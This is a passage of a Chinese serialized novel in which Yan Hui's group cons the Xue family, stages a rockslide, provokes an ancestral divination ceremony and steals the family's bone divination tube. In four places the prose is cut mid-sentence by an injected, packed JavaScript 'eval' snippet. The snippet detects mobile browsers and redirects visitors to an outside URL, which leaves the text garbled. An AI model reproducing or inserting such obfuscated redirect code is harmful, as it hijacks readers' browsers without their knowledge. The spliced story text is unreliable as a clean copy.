撞飞薛承宗的正是看上去最为温顺的头马，此刻它赤红着眼睛，不管不顾地带领马群扎入雨中。薛承宗反应极快，在空中就调整姿势护住了头脸，可摔到地上的一刻还是让他疼得嘶叫出声，紧接着，又有数个马蹄踏到他的身上，他又惊又痛，一边奋力向外滚去，一边竭尽全力妄图在混乱中站起身来。 “老爷！”他听见无数惶急的声音在喊他。 几番泥淖中挣扎，他的眼耳口鼻早已被泥浆糊住，看也看不清，喊也喊不出，如同一只掉入油壶的蝼蛄，拼命晃动着双臂，绝望地保持着平衡，甚至腾不出手抹一把脸上的泥水。 “老爷！”喊他的声音更尖利了，近乎刺耳，“快跑啊！流石来了！” 狼狈至极的薛承宗闻言不由倒吸一口冷气，赶紧借着雨水的冲刷，透过污秽不堪的视野望出去。只见灰黑色的岩壁之上，不知何时盘上了一条苍黄色的大蟒，蟒身粗壮骇人，正飞速向他袭来！定睛再看，这哪里是什么即将化蛟的大蟒，这是裹挟着断木、碎石、泥浆，顺着岩壁的沟壑直冲而来的泥石流啊！ 薛承宗只觉两腿一软，发了狂的奔马尚有一躲之机，可若陷入流石便是必死无疑！再加上他方才挣扎闪躲早已力竭，哪还有余力对抗这气势汹汹，避无可避的流石。一时间，愤怒、自怜、懊恼、遗憾纷纷涌上心头，激得薛承宗脸色惨白如纸。生死攸关之际，薛承宗偏生出一股狠劲儿，正欲拼死一搏，却听一声“小心”！ 一道玄色身影如离弦之箭从雨幕中冲出，一把将薛承宗拽向岩壁凹陷处。 借着一阵急似一阵催命般的雷闪，薛承宗看清那救他于危难之间的男人的脸。竟是晏回！ 由于巨大的冲撞之力，二人几乎是毫无缓冲地拍到了岩壁上。薛承宗只觉五脏六腑都移了位，喉头一甜，一口鲜血便喷了出来。视线模糊中，他隐约看见晏回的额角也在流血，可他的表情却格外镇定与冷峻，镇定得仿佛——一切尽在掌握。 气血翻涌间，薛承宗昏死过去。 * * * 待得薛承宗再次醒转，已是三日后的黄昏。经过连日来暴雨的洗濯，夕阳鲜红透亮得如同玛瑙一般，薛承宗缓缓睁眼，入目是被天光浸透成暗褐色的木制床顶。他试着动了动，却不由倒抽一口冷气，左臂传来钻心的疼。 “爹！您醒了？” 床榻一侧传来少女的哽咽声，薛灵犀握住父亲未受伤的右手，扭头对小丫鬟吩咐道：“速速去请少爷。” 话音还未落，端着药碗的薛世茂已经一路小跑地走入房中，一面喊着“爹”，一面被烫得龇牙咧嘴，双手不住地倒替着。 眼瞧着一双儿女满目焦急，尽孝膝前，衣不解带地照顾自己，当爹的薛承宗不由一阵宽慰，可紧接着，一股寒意顺着脚底板攀了上来，涌上嘴角的慈祥笑容瞬时冷了下来。 “那晏公子呢？” “爹——”跟药碗较量的薛世茂终于走到了床前，将碗在几上一放，便急不可耐道，“这次可多亏了晏兄，若不是他那舍身一扑，只怕您老就交代在马场了。” 薛承宗的指尖猛地收紧。昏死前那道玄色身影、额角的鲜血、以及那种一切尽在掌握的镇定，如冷刺般扎进脑海。 “晏回……”薛承宗不由得咬紧后槽牙，重复了一遍这个名字。 “是啊！” 薛灵犀红着眼眶截口道，“那日流石过后，我们是在凹坑里找到了您和晏公子。他为了护着您，伤了额角，晕眩不止，更难得的是——”她顿了顿，语气里满是敬佩，“他第一句话就是催促我们先救您，对自己的伤只字不提。还有那些拳毛騧……” 闻言，薛承宗精神一振。他狼狈至此，甚至不得不欠了那晏回一个人情，不就是因为那批拳毛騧吗！他冒着大雨突袭马场，就是因为猜度到晏回这奸商在马匹的毛皮上做了手脚，方才有了这批天降神马。而楚庸洗马还要偷偷摸摸，不正是说明假的拳毛騧见不得水吗！暴雨之下，这么多双眼睛看着，定能让他们无所遁形！ 薛承宗心头大喜，正欲追问，却听薛世茂懊恼到：“阿姊，可别提那些拳毛騧了……晏兄都要伤心死了……” 薛世茂的脸上尽是痛惜与感慨，却没有丝毫上当受骗的愤怒，薛承宗大惑不解道：“那些马怎么了？” “就因为那场杀千刀的流石，山体裂了道丈宽的缝，马群全顺着裂缝跑了！晏兄为了救您，根本没来得及追马——他这次带来的数十匹良驹，一匹不剩，全跑了！人家这是……倾家荡产救了您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184826|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一命啊……” 薛世茂的话语鼻音很重，眼圈也不自觉地红了：“昨日，儿子去探望晏兄，他只问您的身体，可他自己的损失却……哎……” 薛承宗怔住了，他看着自家这一双为了明显不怀好意的旁人长吁短叹的儿女，竟是半晌无言。是自己将这对儿姐弟保护得太好了吗？他们不仅看不出造假的拳毛騧，亦看不出晏回的苦肉计，甚至还在为对方本就不存在的损失痛心疾首，而没有对这样太过巧合的偶然产生一丝一毫的怀疑。 一股掺杂着无奈的怒气涌了上来，薛世茂刚想开口，屋外又急匆匆地跑进来一个人，正是他的二弟薛承业。他的身后，跟着无论何时都不紧不慢的薛承文。 “大哥，你醒了！”薛承业喜气洋洋地凑上前来，把床边伺候的薛世茂挤了开去。“正好，我有事同你商量。” “二叔，爹刚醒，身子尚且虚着，您能不能……”薛灵犀劝阻道。 “我倒要听听二弟……要说什么。”薛承宗沙哑着嗓子开口了，他有预感，薛承业即将说出的话语，会比自家儿女所言更令自己怒不可遏。 果不其然，薛承业笑道：“大侄女，你瞧，你爹身子骨硬朗着呢！这可是他催我说的啊——大哥，你昏迷的这些日子，府上派了不少人陪那晏公子找马，可惜啊，连根马毛都没寻着。我寻思着，这兴许啊就是天意！” “天意？”薛承宗冷笑着扯了扯嘴角。 薛承业点头道：“可不是天意吗？这晏公子财大气粗，能从西域千里迢迢运来拳毛騧，却偏偏在咱们府城里‘翻了船’，不就是上天给咱们的机会吗？大哥，我早就劝过你，宁做凤尾不做鸡头，若是趁着晏公子亏损之际，和他搭上线，在西域的商路上分一杯羹，长此以往，别说府城的生意了，就是京城的生意咱们也未必不敢碰！” 薛世茂闻言，脸上毫不掩饰地乐开了花，往日里看上去不招人待见的二叔，今日瞧着却是和蔼可亲起来。 “爹，你瞧，二叔还有这般远见！”薛世茂没忍住，吹捧了一句。 薛承业笑得更欢了，拍着薛世茂的肩膀，格外亲厚道：“你平时也是小瞧了你二叔，在做生意上，你二叔感认第二，就没有敢——” 一声冷笑从薛承宗的齿间溢了出来，冷硬得出奇，薛承业和薛世茂的笑容收敛了些，僵在了脸上。 “这件事，你同承文商量了？”薛承宗将目光投向一旁垂眸不语的三弟薛承文。 “大哥，你也知道，承文整日里就知道吃斋念佛，生意上的事儿都不操心的……我这不，抓紧先来跟你商量吗……” 薛承宗看了看佛爷似的薛承文，又看了看围坐在身前却心系于一个骗子之身的众人，怒极反笑，斥道：“我看你们一个个，真是被那晏回灌了迷魂汤了！我人还没醒，你们倒是心心念念替外人算计起来了！” 27. 生死签（十） “大哥，您这话说得可就见外了，那晏公子马群虽失，可他手里握着撒马儿罕的商路啊！咱们薛家马场不就缺这样通天的路子？我和世茂——”薛承业迅速地与自家侄子交换了一个默契的眼神，“这也是为了家里好啊！” “为了家里好！？你们知道那晏公子的底细，了解那晏公子的意图吗？世茂也就罢了，他自来是个没心眼儿的，可承业你怎地也随着他胡闹！” “爹，你这就没道理了！”本来觉得薛承宗伤病初愈，薛世茂还极力压着火气，这番听父亲劈头盖脸地骂自己没脑子，薛世茂也憋不住了，急道：“晏兄还能有什么底细，还能有什么意图，人家前脚刚救了您的命，后脚你就不认账了？” 薛承宗气得直发笑，斜眼瞅着薛世茂：“撒马儿罕的商路……哼，被几匹假拳毛騧骗得团团转，还敢跟你爹这般理直气壮！” 府宅中的外事，薛灵犀本不欲插手，可眼瞧着众人火气上涌，剑拔弩张起来，薛灵犀也只得去拉拽梗着脖子的薛世茂，想要他跟爹服个软。谁料，薛世茂是个顺毛驴，从来都是吃软不吃硬，见亲爹先是说自己没脑子，又在自己最自豪的相马一事上狠狠踩了一脚，浑身一哆嗦，踏前一步大声道：“爹！您可以瞧不起孩儿，但您不能讥讽孩儿不会相马！那拳毛騧，孩儿是一匹一匹相看过的，绝对做不得假走不得眼的！” “若你就是看走眼了呢！”薛承宗怒喝。 “那您就将孩儿的眼珠子剜出来泡酒喝！” “啪”！一声清脆的巴掌声过后，整个屋子都静了下来。 “混账东西！”薛承宗气得浑身颤抖，指着薛世茂的鼻子恨铁不成钢道：“为了一个外人你竟然……” “我说不允就不允！”房间里回荡着薛承宗怒极的吼声。 令人窒息的沉默持续了很长一段时间，近乎凝滞的空气中突然传来一阵捻动珠串的声响。薛承宗转过头，正对上薛承文低眉垂首的脸，他没有看薛承宗，只是盯着手中盘着的星月菩提。 “大哥，您怕是忘了，您虽是当家之人，可府上的事也并非全由您一人做主。”薛承文微微抬眼，露出细长上扬的眉眼，和镶嵌在眼眶里深不见底的瞳仁。“——老祖宗才说得算。” 薛承宗的脸上露出惊愕的神色，若是薛承文不开口，他几乎已经忘了自己还有这么个不言不语的弟弟存在，就如同在他与王五六密谈那日，他也没有注意到站在门廊处的薛承文。 然而，沉默的山石在雨水的冲刷下也将成为喧涌的泥石流。 “既然大家各存心思，谁也说不听谁，那何不去祠堂请祖宗定夺呢？” “三弟，这等小事，还需去祠堂请神签吗！”薛承宗还欲以势相挟，薛承文却微微一笑，转而看向薛承业和薛世茂。 “族规有云，大疑难决时，神签定吉凶。二哥，世茂，你们觉得呢？” 薛世茂一手捂着自己被抽红的脸颊，一手攥拳，恨恨道：“三叔说得是，该请！侄子今年也逾弱冠了，正是参加祠堂群议之时！” “我也同意承文的看法，毕竟——”薛承业勾了勾嘴角，对上薛承宗的眼睛，“祖宗定的规矩，谁也不敢置喙。” * * * “听说啊”，唐珠儿神秘兮兮地朝着大房的方向挑了挑下巴，“那大老爷刚醒，就和薛公子吵了一大驾，都动手了呢！” 闻言，范凌舟面露得色，笑道：“一切都在本诸葛预料之中。” “嘁”，唐珠儿翻了个白眼，“你就是动动嘴皮子，这件事儿上出力最多的可是姊姊和楚大哥。” 此时，晏回正靠在美人榻上闭目养神，听见唐珠儿和范凌舟每日日常般地争吵，微微蹙了蹙眉，转过身子面朝墙，装作没听见二人的龃龉。 范凌舟见晏回没有阻拦，便继续向唐珠儿挑衅道：“便是动嘴皮子了，怎地，有本事你也动啊！” “这可是你说的啊，别后悔！”话音未落，唐珠儿便如同炸了毛的猞猁般猛地向范凌舟扑将过去。范凌舟旋腰扭身，往晏回的美人榻后方躲去。 “一天天的就知道咬人！西楼，救我！” 二人在美人榻旁追逐扭打，好不热闹，晏回却始终没有睁眼，甚至还将搭在腰际的薄毯使劲往上拉了拉。 正在屋外洒扫的楚庸闻声，不由笑着摇了摇头。自从丢了马匹，他也无需再留在砚池马场了，便搬回了西跨院照顾这一大家子。楚庸自幼便是寡言爱静的性子，可不知为何，自从加入了长生观，他反倒更乐于和晏回诸人呆在一起，仿佛他们身上残留着妹妹的旧影。 楚庸将暴雨折断的树枝残叶扫成一堆，和着扫帚有节奏的“刷刷”声，一阵颓丧拖沓的脚步声传入院中。楚庸停下手中的动作，抬眸望去，只见廊中的阴影下摇摇晃晃行来一人。 “薛公子。”楚庸主动打招呼道，屋内的嬉闹声瞬时止住了，仿佛刚刚什么都没有发生一般。 “楚……楚马师……晏公子呢？”薛世茂的身上有很重的酒气，登头盖脸扑了楚庸一身。这小公子虽然平日里行事荒唐了些，可白日里酗酒的事儿却是从来没有过。楚庸蹙了蹙眉，扶住了摇摇欲坠的薛世茂。 待薛世茂被搀扶着步入房中，头上还缠着布带的晏回坐起身来，笑着道：“贤弟这酒瘾可是不小，人还没到，酒香先至。不过，月满则亏，水满则溢，酒满则倾，贤弟还是莫要贪杯才是。” 原先还在房里追逐打闹的范凌舟和唐珠儿，此时早不知道躲到哪儿去了。楚庸将薛世茂扶到椅子上后，也行了个礼退了出去，房中只剩下晏回和醉醺醺的薛世茂。 薛世茂本就酒气上涌，此刻见晏回面色苍白，额头的布带上尚有余血，可嘴里说着的皆是对他的关心与照拂，当真春风化雨，润物无声，不觉眼眶一热，声音也哽咽起来。 “兄长，是我……对不住你！”他一边说，一边摇摇晃晃站起身，“啪叽”一下扑倒在晏回榻前。 晏回一怔，倾身去扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184827|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他，薛世茂却愈发委屈起来：“若不是我之故，兄长压根就不会将马放到砚池马场；若不是我之故，兄长也不必舍马救人；若不是我之故，兄长更不会丢了数十匹天马神驹，连根马毛都寻不回来……都怪我，都怪我！” 薛世茂双手抱着美人榻的榻腿，眼角竟真的流下泪来。 晏回的眸中划过一丝复杂的神采，半晌才温声道：“此皆愚兄之所为，之所愿，与贤弟无关，贤弟万莫自责啊！” 薛世茂狠狠地抹了一把脸上的泪，心中恼恨内疚交织，义愤难平。他为自己嫡嫡亲的弟兄叫屈，也为自己一毛不拔的父亲愧惭。自己与二叔极力撮合，想要薛府与晏兄联手，这难道不是顺水推舟，锦上添花的事吗？可爹爹也不知怎地，横拉着竖挡着不允，这可让自己在晏兄这边如何做人？ 好在，自己和二叔还留了后手。 “晏兄，你放心，我与二叔、三叔逼着父亲，要为你请神签！”薛世茂止住哽咽，扬起头颅，自豪道：“只要神签所应之事，父亲便是再不愿，也得依签而行！” 晏回秀眉微扬，佯装疑惑之色，唇角却漾出一抹不易察觉的笑意：“神签？” * * * “嘁，还神签呢，说得冠冕堂皇，背地里还不知有多么阴损的勾当。”唐珠儿嘴上说得咬牙切齿，可眸子里洋溢得却尽是摩拳擦掌，跃跃欲试的兴奋劲儿。 “可听那薛公子这般说，似乎……他并不知晓其中真相……”一旁的楚庸却是笑不出来，有些同情道。 方才，薛世茂与晏回的对话，他与躲在屏风后的唐珠儿、范凌舟尽皆收入耳中。为了能让晏回与薛府联合，以往互相看不顺眼的薛世茂与薛承业竟然联手，逼着薛承宗去祠堂请“神签”。 一直以来，薛氏一族每逢遇到决定一族存亡发展之大事，都会由族长带领族中年过弱冠的成年男子，入祠堂请神签定夺。神签所做的决定，无论任何人都不得更改。而薛世茂与薛承业也妄图借此，强迫族长薛承宗答应与晏回合作。 ——兄长你放心，神签所定即是祖宗所定，绝无转圜之可能。与你联手，于情于理都是有益于薛家的，父亲固执古板，祖宗可不允他。只要神签站在晏兄这边，父亲也只能服软。 薛世茂拍着胸脯的承诺言犹在耳，楚庸不觉叹了一口气：“那薛公子虽是轻佻了些，但不似恶人……” 话说到一半，楚庸突然怔住了，他张着嘴，一时不知是该合拢还是继续发声。他看到，始终闭目养神的晏回倏然睁开眼睛，直直地向他看过来。那凌冽如同冰锥般地眼神，是楚庸从未在晏回面上见过的。 那种扼住他咽喉的威慑力，让楚庸瞬时将所有未宣之于口的话语吞了回去。 “楚兄，你在同情他？”晏回声音依旧平静，没有一丝波澜。 “我……”楚庸却不觉慌乱起来，有些无助地看向一旁的范凌舟。 “若果真如此，接下来的行动你便无须参与了。” 28. 生死签（十一） 楚庸慌了，自妹妹大仇得报，他加入长生观以来，晏回、范凌舟与唐珠儿早已成为了家人一般的存在，而追随长生观行侠义之事，也已然成为了他活下去的支柱。方才晏回冷冰冰的一番话，虽无情绪，但已隐隐有了驱逐之意，楚庸只觉一股寒气从脚底直冲头顶，双腿一软，“噗通”一声跪倒在地。 “晏姑娘！我……我知错了……是我妇人之仁，险些误了大事，请晏姑娘降罪！” 见楚庸伏地跪着，唐珠儿心中不忍，但她一向唯晏回马首是瞻，此刻竟是一个字也不敢说。 倒是范凌舟惫懒地轻笑了两声，悠悠然踱到楚庸身边，在他的肩膀上拍了拍：“楚兄，西楼罚你，可不是因你这丁点儿‘仁心’。我长生观奉行以恶止恶，以暴制暴，便是因看透了天下恶人，睹尽了人间惨事，方知菩萨心肠无用，君子行径荒唐。你且想想，怜儿妹妹遭祸之时，又有谁施舍你那丁点儿‘仁心’呢？若真是有人相帮，你又何至于加入长生观呢？” “莫说是那看着莽撞天真的薛世茂，便是那薛府祠堂的梁上燕，檐下蛛，又有哪个没吃过弱者的供养，没沾过无辜者的鲜血呢？兽竞于野，强者噬弱；人活于世，智者欺愚，本就是这人间再简单不过的道理。” 楚庸的脸色由白转青，嘴唇哆嗦着说不出话，范凌舟垂头看了他一眼，踱到晏回的榻侧，微微弯下腰，几乎对着晏回耳语道：“西楼，我看楚兄也知错了，不如……就饶他这一遭？” 晏回的目光掠过楚庸颤抖的脊背，良久，指尖在榻沿上轻轻一扣：“楚兄，起来吧！” 楚庸如蒙大赦，膝行后退半步才敢起身，后背的冷汗已浸透了中衣，黏在皮肤上冰凉刺骨。晏回却恍若未见，语气平静地安排道：“三日之后，薛氏族人将于祠堂恭请神签，我们作为外人，没有资格入祠堂观礼，但这也就说明，在那个时段我们是相对安全的。所以，我们之前的一切筹划，都要在请神签的过程中进行，勿令圆满。” “楚兄——”晏回顿了顿，“你明白了吗？” 楚庸猛地抬头，对上晏回宁然无波的眼眸，喉结滚动着应道：“明白。” 天边最后一抹残阳敛去，济南府的夜终于坠下来了。 * * * 三日后。 薛世茂跟在父亲和几位族叔的身后，缓缓踏入薛府祠堂。幼时，他也曾在祠堂中与姐姐追逐玩耍，但却并非是这一座。薛府中有两间祠堂，一间用以供奉牌位，日常祭祀；而另一间唯有在请签群议之时方能开启。薛世茂才及弱冠，这也是他第一次走入祠堂之中。 在踏入祠堂的一瞬，周遭熙熙攘攘的人声顿时敛去，一种被攫住脊骨的怪异感觉传来，让薛世茂不由自主地抬起了头。随着目光的上移，薛世茂惊愕地张大了嘴巴。 寻常祠堂的梁木是松木或柏木，而此刻横亘在他头顶上方的是一道弯曲的灰白色骨梁，骨梁的弧度锋锐，最高处几乎要顶破祠堂的藻井，仿佛一轮从穹顶垂落的月亮。 “世茂，站到后边来。”薛世茂还欲再看，却听三叔薛承文的声音从左侧传来。定睛一瞧，族老们早已按辈分列站好，薛世茂赶紧缩了缩头，站到了队伍的末端。 祠堂正中的神座上，薛家列祖列宗的牌位早已被请了来，密密麻麻地端坐着，倾身望向堂下的众人。不知怎地，本来对祠堂群议充满好奇的薛世茂此刻只觉得后背发紧，一层层的冷汗浮了出来，让他一阵燥热又一阵寒凉。 越过低眉垂首等待的队伍，薛世茂朝供桌上巴望了一眼，只见红惨惨一片，夹杂着隐约的血腥气遥遥飘了过来。桌上摆放的祭品是半扇生猪肉，生枣糕数个，生鱼数条，正是凶祭的排场。 难不成……还真有祖宗显灵吗？ 心里这般想着，薛世茂不由艰涩地咽了口唾沫。 队伍的最前排，薛承宗表情冷硬地踱到了薛承文的身边。 “三弟，当真要为了一个外人，动用神签？” 一直以来，三弟薛承文都承担着和事佬的角色，他佛口慈心，从不逾矩，最是能够平衡自己与二弟薛承业的关系。可究竟是什么时候开始，这个三人之中的定心丹竟偏移至此了呢？ 薛承文依旧捻着佛珠，脸上带着一丝若有似无的笑意：“大哥，我们都说得不算——”他恭敬地朝神座上的牌位拜了拜，“祖宗说得算。” 说完，他也不再搭理薛承宗，又垂头念诵起来。这一句话怄得薛承宗浓眉倒竖，又不便在族中众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184828|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前发作，只得自吞苦水，走到一旁候着去了。 不到一盏茶的时间，请签群议正式开始了。 “时辰到！请香！”随着族老的唱喏，手捧三炷香的薛承宗被两个族丁搀扶着起身，开始绕梁而行。 正所谓，三匝通神，请签者要手捧敬香绕着神座转三圈，而香灰不断，方能算得了祖宗应允，可以请神签定吉凶。 薛世茂心下忐忑，眼睛时不时地往堂上瞄，只觉三炷香上的香灰越积越高，看上去摇摇欲坠。薛世茂心中暗道，若是父亲打定了主意不愿与晏回合作，只怕这时候步子稍微踉跄一下，香灰便断了。 他跟着心提到了嗓子眼儿，薛承宗却步履稳健，顺顺当当地走完了三匝。 ——兴许，爹也认头了？ “天圆地方，六丁六甲，神签落地，吉凶自彰——请签！”还不待薛世茂想明白，就见负责正仪的族老朗声念诵起来。同时，神座后步出两名男子，高举一只青铜方盘，盘上覆着红绸，红绸上卧着的正是连薛世茂都没见过的神签筒。 借着摇曳的烛火细细看去，签筒的筒身泛着异样的青白色，竟是以海兽骨掏空而成。筒口两侧的阴阳鱼首衔着铜环，冷意森森地凝着堂下众人。 “此乃永乐年间薛氏先祖从西洋带回的神签筒，内藏一百单八支神签，阳签刻“吉”，阴签刻“凶”，阴阳交错者……”薛承宗顿了顿，目光扫过薛世茂，“即为‘生死签’。” 薛世茂咽了口唾沫，紧盯着父亲拿起签筒的手。苍老枯瘦的手指缓缓包裹住签筒，手腕抬起又落下，筒内竹签相撞，发出“咔啦咔啦”的轻响，如同上下牙齿碰撞打战的声音。 “刷——”一支竹签破筒而出，在万众瞩目中坠向地面。 竹签坠地的声音很轻，却像重锤敲在薛世茂的心上。他踮起脚尖，越高无数人的头顶，看向那平躺在地面的签身。他的心脏狂跳着，几乎要冲破胸膛——只见竹身上刻着一行朱笔细字，清晰可见，分明是个…… 众人的目光皆黏着在竹签之上，却没有注意到，有一根细若蛛丝的银线自藻井的缝隙中缓缓垂落，如同长了眼睛般，稳稳地黏在了签筒的鱼首铜环上，而银线的另一端则隐入屋顶瓦片的阴影里。 29. 生死签（十二） 翌日辰时，雾气尚未散去，薛承宗便带着薛世茂敲响了西厢房的大门，而倚靠在榻上读书的晏回也早已等候多时了。 “晏公子，身体可大好些了？”薛承宗的声音里带着一股大权重握的得色。自昨日祠堂群议之后，三弟薛承文收敛了眉目，重又变回往日吃斋念佛的清净模样；二弟薛承业趁夜躲了出去，说是要带着伙计到周边村镇要账；而自家儿子薛世茂，陡然失了两位族叔的帮扶，也立时没了主意，除了借酒消愁倒也没有什么翻天的行径了。 是以，此刻的薛承宗望向晏回的眼神，颇有几分胜者王侯败者寇的架势。可当他的目光扫过庭院中打包好的行囊，眼底却掠过一丝讶然。 “托薛老爷的福，一切安好。”晏回起身行礼，脸上挂着平和的笑意。 薛世茂跟在父亲身后，往日里挺直到略略后仰的腰板此刻瑟缩了些，他不敢看晏回，只盯着自己的靴尖，喉结不住滚动，像是有话堵在喉头，却半个字也吐不出来。 薛承宗悠悠道：“昨日祠堂之事，想来公子也听说了。公子对薛府有恩有义，数次仗义相助，我本也抱着合则两利的心思，可惜……”他的目光如鹰隼般锁住晏回平静的脸，一字一顿道，“可惜祖宗不允，实在是……哎……” “公子也看到了，府中近日琐事缠身，族内长辈亦多有微词，说我留客过久，反倒会扰了公子的计划，所以今日便带着犬子登门叨扰，问问公子的意思。” 晏回的指尖在扳指上轻轻摩挲着，瞟了眼在薛承宗背后“立棍儿”的薛世茂，笑道：“薛老爷言重了。拳毛騧既失，我本就该回西域再寻良驹，只是世茂贤弟盛情难却，这才多叨扰了几日。” 闻言，薛世茂身子一晃，抬起头来：“兄长……我……” 晏回微微抬手，制止了薛世茂的剖白，笑意里带着若有似无的叹：“贤弟不必多言。你我兄弟一场，他日若有缘西域相见，当与你共饮葡萄佳酿。” 薛世茂的表情比哭还难看，嘴唇直个劲儿哆嗦，却在薛承宗冷厉的注视下，将所有话咽回了肚里。 见晏回如此识趣，薛承宗脸色风雨稍霁：“既如此，老夫便不叨扰了。”说完，转身离去。 他这一走，倒把始终藏在他身后的薛世茂露了出来。薛世茂梗着脑袋，脚底板像生了根般，一动不动，只能看见他的拳头松开又攥紧，攥紧又松开，如此数次。 “世茂！”薛承宗走到月洞门时，见儿子仍杵在原地，便扬声道：“还愣着作甚？” 薛世茂浑身一颤，从怀里掏出了什么，猛地塞到晏回手里。 “这是阿姊……阿姊做的，兄长……路上吃……”说完，便狂奔而出，连头也不敢回。 晏回低头一看，手中是一包用油纸仔仔细细扎好的桂花糕。 * * * 还没穿过垂花门，油纸包里的桂花糕已经被唐珠儿吃了个精光。唐珠儿小心地将油纸包叠好，顺着纸张的缝隙向里偷偷吹了口气，“呼”地一声，油纸包鼓胀起来，把外层捆扎的麻线都顶了起来。 “喏，剩下的给你吃。”唐珠儿顺手递给范凌舟。 范凌舟没有接，挑了挑眉只是笑。 见骗不了这狐狸道长，唐珠儿也不气馁，转手送到楚庸面前。 “楚大哥，给你吃。” 楚庸哪里知道其中机巧，一叠声地道着谢接过，刚托在手上未及细看，唐珠儿便一个巴掌拍了过来，正落在那鼓鼓囊囊的油纸包上。 “啪——”少女的笑声和空纸包炸开的声音同时响起，楚庸也不由得咧开了嘴角。笑闹声引起了几个洒扫仆妇的注意，见晏回一行人大包小包的往门口走，都不由得停了手里的活计，垂下了头。 想来薛家父子兄弟因晏回闹得鸡飞狗跳一事，已是阖府皆知，便是下人仆妇们也都盼着这不速之客抓紧离去。见此情景，众人敛了笑，脚下的步子更快了。 府门外早已候着一辆双驾马车，楚庸抢先一步登了上去，掀开车帘，不由怔住了。车中端坐着一位女子，双目含泪，透过隐隐掀动的车帘缝隙，望着不远处的薛府大门。 “青杳姑娘……” 此人正是多日未见的薛负遗孀——青杳。 就在楚庸发愣的当儿，跟在身后的三人已经一个挨一个挤上车来。唐珠儿和范凌舟见了候在车中的青杳，只是微微颔首，并无讶然之色，最后上车的晏回更是面色平静，直接坐在了青杳身边。 楚庸不免尴尬，心中暗骂自己少见多怪，将车帘细致掩好，把私密的空间留给了其余三人。 车厢内，青杳的目光始终追在晏回的脸上：“晏姑娘，事情……事情办得如何了？” 晏回微微一笑，对唐珠儿道：“珠儿，给青杳姑娘瞧一眼。” “得令！”唐珠儿凑到青杳身边，小心翼翼地掀开自己贴身的褡裢，隐约有青白色的物什显露出来。 “这是！？”青杳瞪大了眼睛。 “这就是害了你夫君性命的东西，我费了好大力气弄到的！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184829|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”唐珠儿眨巴着眼溜溜的眸子，神色真诚无匹。 这物什青杳从未见过，但是从薛负偶尔的描述中，她还是对此物什印象深刻：“这是薛家的神签筒！” 唐珠儿得意地晃了晃脚，震得鞋尖虎头的胡须花枝乱颤。 “我和晏回姊姊早就算准了，薛承宗那老狐狸疑心重，神签筒必是被层层保护，外人绝难有机会见到。这才通过薛世茂混入薛家，再挑唆薛家三兄弟相互猜忌，提前在马场做下手脚，引发流石，将薛承宗差点儿看穿的拳毛騧放跑，再利用姊姊的苦肉计，逼得他们不得不重开祠堂群议。” “在这帮臭鱼烂虾济济一堂开会的时候，我便偷偷将傀儡丝从房顶垂挂下来，粘在签筒之上。傀儡丝坚韧无匹，弹性极强，任他将签筒藏到十八层地狱下面，我也能寻迹追踪，趁着夜深人静，将签筒偷梁换柱。” “得得得，功劳都是你一个人的呗！”范凌舟笑着睨了她一眼。 “倒也不完全是，”唐珠儿大咧咧道，“那假的神签筒，你做得还是惟妙惟肖的，也算你出了把子力气。” “哟，那还真谢谢你了。” 青杳哪还有心思听唐珠儿和范凌舟斗嘴，只是双眸一瞬不瞬地盯着那骨质的神签筒，不自觉地探出手去，将它紧紧握住。一股咸腥的寒意顺着她的掌心直钻入血管，令她遍体生寒。 就是这么一个普普通通的签筒，便能生生要了负郎的性命吗？它如何做得？它凭何做得？ 心思辗转间，马车突然一阵颠簸，青杳握持不住，签筒脱手而出。下一瞬，一只苍白的手凌空而至，将抛到空中的神签筒稳稳停住。 “小心”，晏回将神签筒放回唐珠儿贴身的褡裢中，轻声道：“这签筒中的机扩精巧，磕碰不得。” 闻言，唐珠儿坐得里青杳远了些，双手环抱住怀里的褡裢：“姊姊，签筒已然在我们手里，那咱们下一步该怎么办呢？” “待研究明白其中的机扩后，这签筒还是得完璧归赵，同时还要让薛氏一族再举行一次祠堂群议。” 